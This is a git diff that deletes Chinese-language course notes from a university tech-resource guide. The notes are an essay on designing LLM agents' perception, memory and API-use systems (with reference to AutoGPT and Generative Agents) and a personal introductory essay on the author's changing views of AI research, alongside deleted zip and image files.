迪娜泽黛是一个因身患魔鳞病深居简出的 Agent,她的家在须弥城,有一天她突发奇想希望能在病逝之前看一看海。她通过搜索引擎关联搜索,并找到了推荐度最高的大海聚香海岸,为此她不远万里来到了沙漠,但差点在路上噶掉。她的好朋友迪希娅追上来给了她梆梆两拳,跟她说你去隔壁奥摩斯港看海她不香吗? - -对于绝大部分的信息,我们所需的并不只是信息本身,更包含其中的潜在结构和关联。而对于游戏中的复杂数据更是如此。 - -这为我们知觉系统设计带来了第二个难题:我们要如何建模我们语境空间中零散的信息?我们要怎么通过最结构化最易读的方式有效对其索引?我们要如何建模并用工程辅助 GPT 的索引过程? - -我们依旧简单举几个例子来进行讨论: - -- 如果 GPT 能够读取我们的设计文档,它要如何整合多个文档之间的关联?如何构建索引? -- 如果 GPT 要阅读我们的代码库,其要怎么快速跳转并逐层理解模块、功能、接口? -- 如果我们希望 GPT 作为 Agent 来进行游戏,GPT 要如何经过 UI 步骤准确进入系统层级? - -由此,除了数据本身的结构化(指高度可读),数据库的结构化(指关联构建)也是为知觉系统服务的一个重要课题。 - -知觉系统及开发数据环境的构建 - -该议题显然还只是一个开放性的讨论,知觉系统的设计并不仅仅包括设计智能体依赖什么接口进行知觉,更要求知觉系统与环境的匹配,以及工作目的与环境的匹配。 - -仅就这方面而言,作为一个方向性的倡议,对知觉系统的开发可能分为以下步骤 - -#### *数据处理/管理* - -- 对 办公文件/数据 构建通用读取接口 -- 以同类信息为单位,设计通用的字段(由人设计和管理,AI 能力尚不至此) - - - 以程序 API 接口为例:可能包含以下字段 - - - API 接口名 - - API 调用参数 - - 所属命名空间 - - 所属父类 - - API 接口描述 - - API 接口描述向量(可能用于语义索引) - - 源文件索引(用于监听和更新) - - 源信息(源文本 or) - - etc... -- 围绕既定的通用字段,以对象为单位,依靠 GPT 的文本能力自底向上进行总结和编码 - - - 我们尝试给定规范让 GPT 自动阅读代码段并总结接口,转化为 bson 文件 -- 构建对象索引数据库 - - - 如储存进 mongoDB -- (设计孪生数据的自动更新机制) - -#### *知觉系统驱动* - -- 基于上述索引数据库,以视图为单位进行访问,并设计 视图 2 Prompt 的转化格式 - - - 依旧以 API 接口为例,我们将 AutoGPT 的 Command 信息表现为以数据库形式储存 - -对于如上数据库信息,我们对于以视图为单位进行整理,将其转化为 prompt 输入 - -'Commands:\n' -'1. Google Search: "google", args: "input": `""`\n' -'2. Browse Website: "browse_website", args: "url": `""`, "question": `""`\n' -'3. Start GPT Agent: "start_agent", args: "name": `""`, "task": `""`, "prompt": `""`\n' -'4. Message GPT Agent: "message_agent", args: "key": `""`, "message": `""`\n' -'5. List GPT Agents: "list_agents", args: \n' - -- 对于对数据库进行感知的任务,我们需要进一步设计 Pormpt 驱动 Agent 的行为 - - - 对于 Agent 开启的指定任务线程(区分于主线程的感知模块),其起始 Prompt 可能呈这样的形式 - ->
如上是你的目标,为了实现这个目标,你可能需要获取一系列的信息,为了帮助你获得信息,我会为你提供一系列的索引访问接口,请你通过如下格式输出语句让我为你返回信息。
注:如果你请求错误,请你阅读返回的报错信息以自我纠正
例:
< 通过接口名称检索 ("接口名称")>
< 通过接口功能检索 ("访问网页")>
< 通过父级名称检索 ("父级名称")> - -- 为 GPT 设计自动化指令解析与执行模块 - - - 如对上述数据访问接口,仍需匹配一套自动解析访问指令并进行数据库检索,返回指定视图格式转换后的 Prompt(当然也可以是对应视图的 bson 转 json 文件,不使用源数据以过滤系统信息) - -可以预见的,基于上述知觉框架,我们能让 Agent 一定程度上在语境中自动化实现基于任务的信息收集。 - -非工程化的试验样例 - -(使用了我先前写过的卡牌游戏,基于指定任务让其主动收集信息并编写新的技能脚本) - -> TBD:号被 OpenAI 噶了,我也很绝望啊 - -### 工作记忆:组织 AI 记忆系统 - -记忆系统的构成其实相较知觉系统等更为抽象,它用于管理 AI 运行时作为背景的长期记忆,以及定义决定了 AI 当前任务及目标的短期记忆。 - -从某种意义上来说,其极度依赖工程实践中的迭代,因此我现在空手无凭,相比也说不出什么好东西。 - -但我们依旧能从前人的工作中获得一定的参考。 - -#### AutoGPT 的记忆设计:粗放但有效 - -在 长时记忆(过去)、评估系统(价值)、注意系统(关注)这三个要素中,AutoGPT 做得比较好的无疑只有第一个。 - -AutoGPT 的核心记忆设计依赖于预包装的 Prompt 本体,这一包装包含如下部分: - -- Content:用于定义 AI 当前的状态 -- Goals:用于储存用户定义的 AI 任务 -- Constraints:用于告诉 AI 约束和部分行为指引 - - - 让 AI 通过“thought”调用长期记忆就是在这里约束好的 - - 同时鼓励 AI 把当前的输入尽快存入长期记忆数据库 -- Commands:用于告诉 AI 其可执行的行为 -- Resources:告诉 AI 它主要能做什么(没啥用) -- Performance Evaluation:用于提醒 AI 自我反思 -- Response Format:用于确保 AI 输出可解析 - -而在这个预定义本体信息之上,进一步拼贴了如下要素 - -- 当前时间戳 -- 过去几步行为记录 -- 依据“thought”从长期记忆数据库中抽取的记忆片段 -- 用于驱动执行下一步的 Prompt - -如上形式,AutoGPT 的记忆设计相对粗放,其依赖于 GPT 对数据库的写入,并将索引记忆的工作完全交予了基于关联的向量数据库索引。 - -也正是因为这个,在实际使用中,不乏能遇到 AutoGPT 在运行中发生记忆紊乱,开始重复进行了既往的劳动、或钻牛角尖做些无用功的情景。 - -但从另一角度,其“自主将收集到的信息写入记忆”这一功能作为一个 以完成任务为目标 的 Agent 而言无疑是非常合适的架构设计。 - -#### Generative Agents 的记忆设计:精心构建的金字塔 - -区别于 AutoGPT 主动写入的记忆,Generative Agents 的记忆源自被动的无限感知和记录,因此显得更加没有目的性。也正因如此,其需要一种更妥善的管理形式。 - -Generative Agent 通过自动化评估记忆的价值,并构建遗忘系统、关注系统等用于精准从自己繁杂的记忆中检索对于当前情景有用的信息。 - -![](https://cdn.xyxsw.site/StjCbHn2BoqTrNxF64ScvrPInCe.png) - -Generative Agents:基于 Reflection 构建记忆金字塔 - -进一步的,其通过反思机制强化了记忆的价值,使得高层洞察从既有记忆的连结中涌现,这一机制通常被用于将 信息转化为知识,并构建出了有效记忆的金字塔。 - -而毫无疑问,相关的洞见对于“完成任务”而言也是极具价值的。 - -相关的更有效的记忆管理无疑很快就会被更新的项目学习。 - -#### 记忆系统的构建讨论(放飞大脑) - -但从某种意义上来说,对于一个我们希望其帮助我们工作的智能体而言,像 Generative Agent 这般的巨大数据库也许并未有充分的价值,何况我们所输入的内容原始层级就较高(这一层可能在前面的知觉系统中,就让一定程度上的高层洞见自主产生了),不易于进一步的堆叠。 - -也许,我们更该关注的是 Agent 对自身短期记忆的管理,即让 Agent 锚定自身的状态,并自主抽象出凝练的短期记忆和关注方向。 - -在 AutoGPT 的框架下,我们能构建一个专用的短期记忆文本文件,供 GPT 自身编辑,对于每次会话开始时,该文本文件都会自动嵌入 Prompt 中,从而永续保存在 GPT 的上下文窗口内。 - -该短期记忆主要用于记录当前目标执行进度,以及 GPT 对目标的实际分解形式。 - -相应的,GPT 的行为记录也能被下放至长期记忆中,构成行为与储存资料的数据对,使得记忆管理更加规范。易于在记忆向量检索时取得期望的效果。 - -(我本该写得更靠谱一点,但我写到这里已经快累死了,让我开摆罢) - -不过显然,这部分设计需要在工程中得到迭代 - -(可以遇见的,以 AutoGPT 的热度,半个月内就会有人为其设计相应的 mod) - -### 运动系统:让 AI 可及一切 - -基于知觉系统和记忆系统,已经能构建一个使用语言解决问题的智能体了。但最为关键的改造世界部分则依旧缺席。 - -虽然这么说也不准确,其实运动系统的部分在知觉系统的讨论中就以提及了:对外界的主动交互并感知,就是一种“运动”。 - -我们最终总会不满足于让 AI 帮助我们思考问题,我们想让 AI 帮我们走完最后一步。由此,我们需要让 AI 能与世界进一步地互动。 - -- 我们大胆假设未来游戏中的 Agent 能通过 API 驱动自身在场景中无拘无束(拼装行为树 -- 再大胆假设他们能使用 API 实时把需求的内容转化为发布给玩家的任务(拼装任务节点 -- 继续大胆假设,AI 根据我的需求把今天要配的啥比表直接配完,当场下班(笑 - -(而这一切,都是可能,且近在眼前的) - -而这最终又回到了原始的问题 —— 我们能给 AI 什么 - -AI 能做的一切都基于我们的赋予,包括语言能力,包括思维能力,包括对话能力,更包括前面那些知觉和记忆的能力。运动也无外乎如是,其落实到了两个问题上: - -- 如何为 AI 构造充分实用的工具(高度开放的 API 设计 -- 如何让 AI 找到足够趁手的工具(易于检索的 API 平台 -- 如果让 AI 能够正确地使用工具(高鲁棒的 API 执行器 - -而这其中,进一步要求让 API 可读和可索引,由此回到我们在知觉系统中的课题,也不必过多赘述了。 - -在结尾处重新梳理一下本文核心讨论的观点 - -- 大语言模型的实质是一个拥有智能能力的语言计算器 -- 我们不该将其当作独立的智能体看待,但能在其基础上通过构建系统创建智能 Agent -- 为此,我们需要通过信息工程,让 AI 能够真正感知和改造世界,从而改变我们的生产进程 - -## 寄予厚望 - -感谢有人忍受了我阴间的行文和一路跑偏的思路,真能看到这里 - -红豆泥私密马赛西塔!!! - -从某种意义上,本文实际上并没有讨论什么实质性的东西,但作为一个近期思路变化的总结,和对 AI 未来发展的展望,乃至对未来生产力发展的展望。我希望它有一定的参考价值。 - -可以预见的,AI 对于生产的作用显然并不止于我们上面所讨论的这些,我们不仅希望人要为 AI“赋能”,更希望 AI 能进一步地为人赋能: - -- 通过 AI、以及对信息的管理,我们能极大程度上降低复杂团队内部的沟通成本和信息获取成本 -- 通过更智能的 AI,能更好地辅助内容创作,让创作者把有限的生产力放在抓住更亮眼的 Sparks 上 -- 通过基于 AI 的高度自动化流程,也许我们真的能看到每个人都能将自己的空想所具现化的未来 - -为 AI 开放一切,为 AI 提供信息,这两个“为”才是走向 AIGC 的唯一明路。是让 AI 真正走入生产,解放生产力的唯一正路。 - -- 作为 AI 研究者,我愿意拭目以待 -- 作为游戏开发者,我希望积极地将其运用到我的生产过程中 -- 作为团队成员,我期盼生产革命能从我的身边掀起 -- 作为马克思主义者,我必将推动着它解放世人们的生产力 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md b/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md deleted file mode 100644 index 505be49..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md +++ /dev/null @@ -1,155 +0,0 @@ -# 4.人工智能 - -## 开篇 - -对于所谓 AI 的开篇该怎么写,我思考了很久,因为这实在是太过于宏大的话题了,从 2012 年开始这个行业迎来了所谓的技术爆炸阶段 - -> 宇宙的时间尺度来看,一个文明的技术在科技发展的过程中,可能短时间内快速发展、科技发展速度不断增加的现象 --------《三体》 - -无论是工业界还是科研界似乎都在这轮发展中进入了一场狂欢,但是狂欢之下,时代的滚滚洪流,也引起了不少人的焦虑和恐慌。 - -我们人类在如此宏大的课题面前,我们将得到什么?又将会失去什么呢?也许只有时间可以告诉我们答案。 - -阅读本篇内容的群体,我想主要是自动化或计算机的大学生,更多的是没有基础的同学才会翻阅。 - -因此本篇不将技术,笔者将从自己的视角,笔者进入大学到现在对所谓 AI 发展的思想感受的变迁为明线,为将要开启人工智能学习的大伙勾勒出一个笔者眼中的,**人工智能**时代。 - -同时,我也会在本篇内容中给你,你可以在本篇内容中获得什么。 -> 这是一个最好的时代,也是一个最坏的时代; -> -> 这是一个智慧的年代,这是一个愚蠢的年代; -> -> 这是一个信任的时期,这是一个怀疑的时期。 -> -> 这是一个光明的季节,这是一个黑暗的季节; -> -> 这是希望之春,这是失望之冬; -> -> 人们面前应有尽有,人们面前一无所有; -> -> 人们正踏上天堂之路,人们正走向地狱之门。 -> -> ——《双城记》查尔斯·狄更斯 - -## 看山是山 - -2020 年,在一门杭电的程序设计实践课上,老师要求我们用 C 语言去实现一些算法,我本来是将目标定为去大厂赚更多的钱的,对所谓 AI 仅仅停留在概念上,对其内容一无所知。 - -在实验的过程中,偶然和一位转专业学长偶然聊起到程设变态难得题目设计,要求用 C 语言实现 KNN 之类的算法,这 TM 对于我当时的水平简直是太难了!聊到他自己所在的某个实验室本科生的入组任务也不过是这个难度偏低一点点。 - -带着投机主义的心态,想着能不能混到一些论文之类的成果更好就业,毅然决然上了船。 - -当然,这也是大伙可能愿意去看这篇文章或抱着本科生科研的心态去学习本篇讲义或学习人工智能的主要心态。 - -可能还有一些人想的是我学一下这个相关技术可以更好的打比赛或者做项目,都是在我“看山是山"的阶段有过的。 - -对所谓的科研,所谓的论文,所谓的项目的含金量都是一知半解,只不过是“看到感觉他很火,感觉他很好,具体怎么样我不知道”的心态。这也是在当时的市场上,很多人的心态,由此也是人工智能第一轮狂潮的热点所在,因为大家其实很多都不清楚这个新技术,究竟有什么样的上线,吹起了很大的泡泡。 - -就算是有点远见的本科生,也仅仅是看到了所谓的 CV 和 NLP 在学校和整个社会大规模宣传下的科普性的概念,也许也没有深入了解过,当时的我也一样。但是我也陷入了同样的狂热中,仅仅是因为他足够火热或有足够的前景,我就想着跟随着潮流走。 - -我看了一点非常基础的教程,老师便给我发了两篇非常刺激的 CV 论文,都是他专业下比较前沿的文章了,我对这到底意味着什么仍然是一无所知,我完全没有搭建起合理的知识框架,我眼里 AI 只有深度学习,只有用框架写的那几行短短的代码,于是开启了受难之旅。 - -老师并没有做错什么,他只是在这个人工智能大潮下的一朵浪花,他也尽其所能的做到了对本科学生的关注,错的是我,我没有仔细考究过,也没有站在足够高的角度去审视如果我加入了他的工作,我在这个行业中会处在什么样的位置。 - -**这也是本篇讲义想要做到的第一件事,让你可以从比较高的角度去搭建起对这个领域的知识框架,而不是贸然的进入某个领域然后发现自己不喜欢或者说自己“被坑了”。** - -## 看山不是山 - -学习过程非常恐怖的一件事就是完全没有正反馈,我在阅读论文的时候面对的是我对他无数前置工作一无所知的情况,并且我完全不知道怎么入手去读一个纯英文论文,我也不知道做科研到底意味着什么? - -**这也是本篇讲义想要做到的第二件事,让你可以阅读一些文章之后就有一个大致的方法论而不至于完全手足无措。在本章的如何做研究和如何科研论文写作的篇章里面。** - -短短的两篇文章我足足啃了一个假期,去读了很多东西,看了很多文章,但是自己究竟学会了什么其实也是答不上来,唯一能带给我的欣喜就是我复现了那篇文章,我让他在自己想要的数据集上跑起来了,但是也没有什么太大的成就感,因为唯一可以看到的仅仅只是跳动的数字和分割出来效果极其糟糕的几张图片。 - -紧接着我阅读了更多的论文,带给我的只有更多的负反馈,我不清楚将前两个论文串起来为什么就变成了一个创新点,我不清楚为什么论文写的代码里没有,我也不清楚代码为什么那样写,创新方案为什么要做成那样?我最大的疑惑其实是我们在不断堆积数据和算力,这样也能叫科研吗?而他们却又真真切切的发表在了那些顶刊上?这合理吗? - -我刚刚对科研建立起的美好神圣的幻想,被一篇又一篇近乎重复的论文打的粉碎,让我不禁身心俱疲。我根本不相信靠眼前这些,被当时的我定义为“学术垃圾”的论文能掀起什么风浪。可我也不知道到底什么样才是真正的科研,不知道我该怎么做。 - -当时唯一支撑我的是某位老师的观点,她认为科技的进步和学术的发展正是建立在无意义的沙堆上的。正是这高耸的沙堆,才让人们可以清晰的看见沙堆上蚌中的珍珠散发着耀眼的光。尽管很多看起来现在无用,也许几年后,他被挖掘出来,就会发挥新的作用,我对此完全不理解,只是觉得深度学习目前这个研究方向,为什么大方向这么不可理喻。 - -当时的我还看到了,因为他的爆火,带来了非常优秀的工具链,极大程度的降低了门槛。科研界将电子斗蛐蛐奉为圭臬,比赛和项目只是劳动力和资源的无限叠加堆砌出来结果亦或是单纯的硬扯,工业界不知道在搞些什么名堂,好像仅仅只知道跟着国外的脚步走。(甚至你在现在的讲义中仍然能发现一些我当时的看法) - -很多本科生诚然发了优秀的论文,可他也不过是一颗坚挺的或者优秀的螺丝钉,在正确的时间,正确的位置,做了不知道正确还是错误的事,让他取得了不属于他目前能力的成就。无论是老师还是学生都被迫进入了这一场狂欢然后做了也许不那么正义的事情。 - -**我厌恶他!我厌恶他破坏了科研的纯洁性!我厌恶他成为了急功近利者的帮凶!我厌恶他堆砌的沙堆是充斥着无产者的血和泪!我厌恶他让马太效应发挥到了极致!我厌恶他让所有人都贴上了他的面具,但可能对本质上的东西一无所知!我厌恶他只注重结果,完全不注重过程然后让写的故事变成了捏造!** - - 但是,现在我会说,也许当时的我真的错了。我并没有思考过所谓人类的智能和 AI 的智能的关系,也忽视了当某一个趋势或方向发展到极致之后,量变会引发什么样的质变。 - -[推荐大伙可以看看这个](https://www.bilibili.com/video/BV11c41157aU) - - - -## 看山还是山 - -> 孟德尔出生于奥地利帝国(今天的捷克共和国)的西里西亚,是现代遗传学的创始人。尽管几千年来农民就知道动植物的杂交可以促进某些理想的性状,但孟德尔在 1856 年至 1863 年之间进行的豌豆植物实验建立了许多遗传规则,现称为孟德尔定律。 - -在孟德尔那个时代,人们不知道基因,人们也看不到那么小的东西,他给基因取了个名字叫遗传因子。他没能掌握“真实的规律”,可是我们不得不承认的是,他是一个真正有科研精神的人的科研人。 - - -我在不断地绝望之后,走向了极端,我放弃了跟进这个方面的学习,孟尝高洁,空余报国之情;阮籍猖狂,岂效穷途之哭!我失去了搞科研的热情,只想一心去做些别的。 - -我看到了南大的课程,我去看一生一芯,去看 jyy 老师的 OS,我听到了蒋老师对未来 AI 的发展充满了信心,我虽然很崇拜他,但我仍对此嗤之以鼻,我不相信。 - -一直到有一天,相先生在实验室玩一个叫 chatGPT 的东西,虽然之前懵懵懂懂的有了解过 GPT3 之类的东西,但是都对此行的发展没有什么了解,只是知道他又非常大的参数的语言模型,在好奇之下,我去亲自体验 chat GPT,我受震惊于他能准确无误的理解我的意思,甚至能替我写代码,只要将问题拆解,他几乎可以就任何一个问题给出一个反而化之的答案。 - -随后没过多久,GPT4 与 new bing 应运而生,可以理解用户的意图和情感,根据用户的偏好和反馈来调整输出,甚至利用网络搜索来增强其的知识和回答能力,他们还结合了 CV 的功能,可以让他们来进行图像的生成工作。作为科研人的最高追求,大一统,一通半通的解决所有问题的模型竟然真的可能在我的有生之年实现,不由得震惊至极。同时,大模型也进入了 CV 领域,出现了 segmenting anything 这样可以做到零样本迁移这样的神奇功能,auto GPT 出现了在电脑主机上直接替人解决问题甚至是完成某一项工程任务的 GPT,以及可以在手机上本地做的 mini GPT,技术的爆炸以及变革似乎一瞬间到来了,但是当我回过头展望的时候,正是我最看不起的沙砾,堆叠成了如此强大石之巨人,并且随着资本的涌入,他还在不断强大!!! - -2012 年,被我们认定为人工智能学习的开篇之作,Alex net 诞生了,由 Alex Krizhevsky 和他的导师 Geoffrey Hinton 以及 Ilya Sutskever 设计,在 2012 年的 ImageNet 大规模视觉识别挑战赛中获得了冠军,展示了深度学习在图像分类方面的强大能力,并且正式启动了深度学习的革命,在当时他也引发了大量的争议,奉承这符号主义的大师们对着他指指点点,可是他们并不能阻碍时代的巨石碾过一切非议,并且在各个领域都爆发出极其强大的生命力。 - -想起在学操作系统的时候,linus 在几十年前被大老师 tanenbaum 狂喷,说整了什么垃圾玩意儿。当时的 minix 基本上可以说是横扫江湖,linus 却坚持说用户只考虑用户态是否好用而不在乎内核有多牛逼,当时的论战基本上把各类大神都炸出来,结果几十年后的如今我们发现原来遍布世界的居然是宏内核/混合内核。 - -时代的发展连大佬都可以拍死在沙滩上! - -从短期来看,也许未来 GPT 会接管小 AI 形成一套上下左右俱为一体的 AI 智能模型,在所谓自动驾驶,智能家居领域发挥极其卓越的作用。 - -从长远来看,不由得联想起 AI 在围棋方面 alpha zero 的论文里面提到过,当他们不适用人类的知识的时候,反而模型的效果好很多,有没有可能 AI 在短短的未来总结出一套人类自然语言的规则后,自发创造出一个全新的语言,最终就彻底脱离人类变成一种全新的生命形式,从而彻底颠覆人类以公理为基础的数学,创造一套全新的数学体系,数学体系重做,物理学是否也会迎来质变? - -AI 是一个复杂且多样化的研究领域,他能取得如此长远的发展,并非是仅仅一个两个人靠着所谓的理论研究就可以推动起来的,它伴随着底层的硬件设施配套的完善,算力的突破性增长等等,发展本身,也许就是兼容并蓄的,我们应该在这个发展的洪流前,找到自己的位置以更为谦卑谨慎的姿态,进行更为长远的思考和学习吧。 - -> 三花聚顶本是幻,脚下腾云亦非真。大梦一场终须醒,无根无极本归尘。 - -## 结语 - -让我们回到最开始的那几句话 -这是一个最好的时代(AI 技术正在改变人们的生活) - -也是一个最坏的时代(AI 也许取代大量人的饭碗) - -这是一个智慧的年代(很多顶尖的科学家正在改变世界) - -这是一个愚蠢的年代(很多高校止步于电子斗蛐蛐,很多企业只想着追赶外国不想着自己创新) - -这是一个信任的时期(人们将更加信任这个社会会因此变好) - -这是一个怀疑的时期(AI 技术带来伦理,毁灭世界等方面的讨论) - -这是一个光明的季节(前沿科研或科技从来没有离普通的本科生这么近) - -这是一个黑暗的季节(太近了导致很多人急功近利) - -这是希望之春(我们迎来了技术爆炸) - -这是失望之冬(我国仍有很多需要发展的地方) - -人们面前应有尽有(人们以后可能拥有了 AI 也就拥有了一切) - -人们面前一无所有(隐私,版权,安全等问题正在受到质疑) - -人们正踏上天堂之路(也许未来人类不用干任何工作实现真正的共产主义) - -人们正走向地狱之门(也许人类将被取代将被奴役,无数人会被取代) - -技术的发展往往就伴随着激烈的争议和讨论 - -火车出现的年代人们责怪他破坏风水 - -蒸汽机出现的时代人指责他不安全 - -纺织机出现的时代女工辱骂他抢了自己工作 - -而这些都不会使他停滞 - -**这是本讲义想做的第三件事,拥有学习新技术,跟上时代的能力** - -而愿不愿意在这激荡翻腾的年份,贡献出你的力量,让世界变得更好/更坏,就取决于你的选择了! - -## 欢迎来到新世界!同学们! diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip deleted file mode 100644 index e4770a3..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip deleted file mode 100644 index 4347e68..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip deleted file mode 100644 index 3a47f0a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip deleted file mode 100644 index ac2dbec..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip deleted file mode 100644 index 31b742a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip deleted file mode 100644 index 9a0ffa3..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip deleted file mode 100644 index 789ad34..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip deleted file mode 100644 index 151b538..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg deleted file mode 100644 index 82d94cf..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png deleted file mode 100644 index ded04da..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png deleted file mode 100644 index 48d0420..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png deleted file mode 100644 index a9fe2af..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png deleted file mode 100644 index 802aa17..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png deleted file mode 100644 index 858b94d..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png deleted file mode 100644 index 4d533e5..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png deleted file mode 100644 index 363a58c..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png deleted file mode 100644 index 46f5b4d..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png deleted file mode 100644 index 7529cf8..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png deleted file mode 100644 index ed1a50f..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png deleted file mode 100644 index a06c870..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png deleted file mode 100644 index fede004..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png deleted file mode 100644 index 4c98a35..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png deleted file mode 100644 index 386a1be..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png deleted file mode 100644 index 6799210..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png deleted file mode 100644 index 90690ff..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png deleted file mode 100644 index 0605ab6..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png deleted file mode 100644 index 5eac3ec..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png deleted file mode 100644 index dfcfd8f..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.3.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.3.png deleted file mode 100644 index 0bd2aa4..0000000 Binary files 